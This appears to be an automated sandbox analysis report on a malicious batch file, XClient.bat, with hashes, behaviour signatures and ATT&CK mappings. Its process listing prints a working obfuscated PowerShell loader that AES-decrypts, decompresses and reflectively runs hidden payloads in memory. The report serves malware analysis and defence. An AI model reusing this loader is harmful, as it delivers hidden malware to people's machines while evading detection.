d7026dc3868216fac1451a6c49cff2a825a7320ae11d5dfe0e996713a6f7d3d0

Analysis

max time kernel
118s
max time network
119s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
08-06-2024 22:10

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

XClient.bat
Size

397KB
MD5

73641efaf5966e400402727c7011f498
SHA1

e69a225b270c9b4182f7a7d4873905629087304f
SHA256

d7026dc3868216fac1451a6c49cff2a825a7320ae11d5dfe0e996713a6f7d3d0
SHA512

99612db9b4cae879848ffcb08904592e9e341fd41576efbaf81720881fd94fdbeeec427744b67c404e9b56564c32ea00fb6648844134d590675b43b04e3ee7c4
SSDEEP

12288:XXN6zERV0H7bld66zILaZdSj7bToHN1t1a6HvI9OP+iE:N6r7bu4Sj/TMjvu0+X

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

560 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

560 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 560 powershell.exe

pid	process
560	powershell.exe

pid	process
560	powershell.exe

description	pid	process
Token: SeDebugPrivilege	560	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2372 wrote to memory of 348	2372	cmd.exe	cmd.exe
PID 2372 wrote to memory of 348	2372	cmd.exe	cmd.exe
PID 2372 wrote to memory of 348	2372	cmd.exe	cmd.exe
PID 2372 wrote to memory of 560	2372	cmd.exe	powershell.exe
PID 2372 wrote to memory of 560	2372	cmd.exe	powershell.exe
PID 2372 wrote to memory of 560	2372	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\XClient.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2372

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('xxfFbycMWjcHuYJ1iMuEmld/5KwudHdKZYTOPVamYJg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uLWrT6ze2NcQhUozZToahA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $bYwhH=New-Object System.IO.MemoryStream(,$param_var); $hNKSw=New-Object System.IO.MemoryStream; $KZULe=New-Object System.IO.Compression.GZipStream($bYwhH, [IO.Compression.CompressionMode]::Decompress); $KZULe.CopyTo($hNKSw); $KZULe.Dispose(); $bYwhH.Dispose(); $hNKSw.Dispose(); $hNKSw.ToArray();}function execute_function($param_var,$param2_var){ $cDqpI=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JKuAa=$cDqpI.EntryPoint; $JKuAa.Invoke($null, $param2_var);}$nuDXh = 'C:\Users\Admin\AppData\Local\Temp\XClient.bat';$host.UI.RawUI.WindowTitle = $nuDXh;$MKWMh=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($nuDXh).Split([Environment]::NewLine);foreach ($PpcIX in $MKWMh) { if ($PpcIX.StartsWith('shVzJdWPDAQGOXIqGMaK')) { $RRdnR=$PpcIX.Substring(20); break; }}$payloads_var=[string[]]$RRdnR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:348

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

memory/560-4-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download
memory/560-6-0x0000000002AA0000-0x0000000002AA8000-memory.dmp

Filesize
32KB

Download
memory/560-5-0x000000001B4A0000-0x000000001B782000-memory.dmp

Filesize
2.9MB

Download
memory/560-7-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download
memory/560-10-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download
memory/560-9-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download
memory/560-8-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download
memory/560-11-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download
memory/560-12-0x00000000772D0000-0x0000000077479000-memory.dmp

Filesize
1.7MB

Download